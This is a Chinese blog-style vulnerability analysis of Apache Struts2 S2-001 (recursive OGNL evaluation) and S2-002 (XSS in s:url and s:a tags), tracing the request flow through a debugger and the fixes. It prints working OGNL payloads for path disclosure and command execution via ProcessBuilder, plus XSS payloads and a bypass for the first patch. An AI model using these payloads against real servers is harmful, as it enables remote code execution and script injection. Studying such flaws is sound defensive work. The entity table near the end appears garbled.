[TOC]
持续更新,敬请关注~
先已更新至S2-002
本篇所有代码及工具均已上传至gayhub:https://github.com/yq1ng/Java
前言
复现可以从Vulhub一键搭建,分析的话我是自己搭建的,最后应该会把源码放到gayhub,尽情期待
Struts2架构及工作原理
架构图
- FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C(控制中心),它根据ActionMapper的结果来决定是否处理请求。如果ActionMapper指出该URL应该被Struts2处理,那么它将会执行Action处理,并停止过滤器链上还没有执行的过滤器。
- ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
- ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间,使得我们在将来有机会引入更多的实现方式,比如通过WebService来实现等。
- ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的struts.xml配置文件。
- struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
- ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
- Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
- Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
- Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
- Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
- Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。
运行流程
httprequest经过一系列过滤器到达FilterDispatcher调度中心,请求转发至ActionMapper,若需要处理则创建ActionProxy,代理再去struts.xml找对应的action,然后实例化ActionInvocation调用,运行拦截器生成result,根据模板生成响应内容,逆向过滤器,最后http response
S2-001
环境搭建
漏洞概述
- 官方描述:https://cwiki.apache.org/confluence/display/WW/S2-001)
- 一句话总结: XWork 允许 OGNL 表达式递归地执行
- 影响范围:WebWork 2.1 (启用 altSyntax), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
漏洞利用
登陆失败时会把错误的账户密码留在提交框内
插入OGNL表达式试试,被解析了
常用poc
获取tomcat路径:%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
获取web路径:%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
还有最喜欢的rce:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
,只需更改java.lang.String[]{"whoami"}
漏洞分析
主要想走一遍流程,漏洞不难,有点啰嗦
在自定义Action处下断点,然后POSTpassword=1&username=%{1+2}
发送payload后,怎么到达了LoginAction?
用户发送请求后,先是Tomcat选择用哪个工件处理请求,并读取web.xml进行匹配,本环境Tomcat发现是Struts2这个过滤器来处理,根据配置找到FilterDispatcher
,也就是调度中心,在调度中心执行doFilter方法,询问ActionMapper是否需要Struts2处理
接下来创建代理,询问配置文件找到调用类,配置文件在Dispatcher
类的init()(初始化方法)内的this.init_TraditionalXmlConfigurations
加载完成,配置文件依次加载、变量覆盖(其实配置文件的真正加载应该是在ConfigurationManager类里面完成的,这里就不跟踪了)
由mapping
对象中的name属性在configurationManager(加载Struts2的配置文件)寻找对应的Action,并生成一个ActionProxy,如果这个ActionProxy成功创建的话会执行execute方法
继续往下走,看调用栈、联想架构图,此时实例化了ActionInvocation(Action完整的调用过程都是由ActionInvocation对象负责),下面就是执行拦截器,但是从下图看,并未找到拦截器的递归调用,莫慌,继续看
看一下intercept接口定义,最后这个函数参数就是递归调用的关键,如果最后在调用invocation.invoke()
那就会再回到上一步,继续从 Action 的 Intercepor 列表中找到下一个截拦器。随便抽出来一个拦截器,他也确实是这样工作的
那么都执行了那些拦截器呢(拦截器的list在初始化完成的辣)?看看strtus.xml中有一句<package name="S2-001" extends="struts-default">
,看看继承:struts2-core-2.0.8.jar!/struts-default.xml
,默认的就是这么多辣,调用栈中也是和这个对应的
其中的params
拦截器可以多看看,他会把客户端发来的数据都设置到ValueStack(值栈)
里面,以后jsp页面取值都是在值栈中取得的
跟进此函数,在stack.setValue(name, value);
将数据入栈
拦截器运行完就会进入自定Action,看调用栈,在/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class
调用LoginAction
再往后已经到了第一张图
返回error后DefaultActionInvocation根据struts.xml
中配置选取生成页面
接着处理index.jsp,但是jsp的本质也是servlet,执行时tomcat会将其转化为index_jsp.java
解析标签会在struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class
中的doStartTag
与doEndTag
方法内完成
在doEndTag方法内用this.component.end()
调用struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class
内的end()
方法来填充jsp内动态数据
跟进,发现如果开启了 Ognl表达式
支持( this.altSyntax() )
,程序会在属性字段两边添加 Ognl 表达式字符( %{}
),然后使用 findValue
方法从值栈中获得该表达式所对应的值
跟进findValue:struts2-core-2.0.8.jar!/org/apache/struts2/components/Component.class
,调用xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
内的translateVariables方法,此方法又调用了同名重载方法
漏洞定位:xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class:31
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
第一次findValue取出 username的值(%{1+2}),赋值给o,拼接字符串,进入下一轮循环
第二次,通过findVlue计算出值
再次循环,此时3不满足Ognl表达式,退出,渲染出页面
漏洞补丁
http://archive.apache.org/dist/struts/binaries/
使用loopCount变量限制递归解析 OGNL 表达式的次数
参考
S2-002
环境搭建
和S2-001差不多,最后发环境吧,懒得写了
漏洞概述
- 官方描述:https://cwiki.apache.org/confluence/display/WW/S2-002
- 一句话总结:<s:url> 和 <s:a> 标签在includeParams为all时因未对标签内容进行转义/编码,导致XSS
- 影响范围:Struts 2.0.0 - Struts 2.1.8.1
漏洞利用
官方payload:?<script>alert(1)</script>test=hello
<body>
<h2>S2-002 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-002">https://cwiki.apache.org/confluence/display/WW/S2-002</a></p>
/S2_001_war_exploded/login.action?<script>alert(1)</script>test=hello&%3Cscript%3Ealert(1)%3C/script%3Etest=hello
</body>
漏洞分析
<s:url> 标签
S2-001中说了解析标签会在struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class
中的doStartTag
与doEndTag
方法内完成,本次不在详细跟踪,直接在doStartTag
方法下断点,跟进start()
函数
在struts2-core-2.0.8.jar!/org.apache.struts2.components/URL.class:89
中,当includeParams为all时会调用mergeRequestParameters方法
此函数就是把this.req.getParameterMap()
值存到this.parameters
再往后,includeExtraParameters()
用于将this.req.getQueryString()
(数据会被urlencode)存入this.parameters
内;includeExtraParameters()
用于将其他数据存入this.parameters
内
参数获取结束开始调用struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class:doEndTag()
,跟进end()
,生成页面处继续跟进
漏洞定位:struts2-core-2.0.8.jar!/org/apache/struts2/views/util/UrlHelper.class:116
,此函数最终直接拼接了url与我们的payload导致出现xss漏洞
最终返回的不仅有原来的payload还有urlencode后的payload,不过无所谓
页面最终会弹窗,不再放图
小啰嗦:includeParams为get能否造成xss
经测试,页面并不会弹窗。why?
如果includeParams
是get,会直接执行下面两个函数,而includeExtraParameters()
存入的数据是urlencode后的,并不会造成xss
s:a 标签
类似,不再赘述,自行分析吧
漏洞补丁
两次修复,第一次并未彻底解决问题
2.0.11.1版本修复
s:url 标签修复
for(result = link.toString(); result.indexOf("<script>") > 0; result = result.replaceAll("<script>", "script")) {
;
}
这修复。。。笑了。绕过姿势很多,抛砖引玉:?<script 1>alert(1)</script>=hello
s:a 标签修复
if (this.href != null) {
this.addParameter("href", this.ensureAttributeSafelyNotEscaped(this.findString(this.href)));
}
加上了一个 ensureAttributeSafelyNotEscaped
方法来过滤双引号:
Copyprotected String ensureAttributeSafelyNotEscaped(String val) {
return val != null ? val.replaceAll("\"", """) : "";
}
啊这,绕它!
" " " 双引号
& & & &符号
< < < 小于号
> > > 大于号
2.2.1版本修复
天呐,urlencode,完全修复,再见。。。
private static String buildParameterSubstring(String name, String value) {
StringBuilder builder = new StringBuilder();
builder.append(translateAndEncode(name));
builder.append('=');
builder.append(translateAndEncode(value));
return builder.toString();
}
public static String translateAndEncode(String input) {
String translatedInput = translateVariable(input);
String encoding = getEncodingFromConfiguration();
try {
return URLEncoder.encode(translatedInput, encoding);
} catch (UnsupportedEncodingException e) {
LOG.warn("Could not encode URL parameter '" + input + "', returning value un-encoded");
return translatedInput;
}
}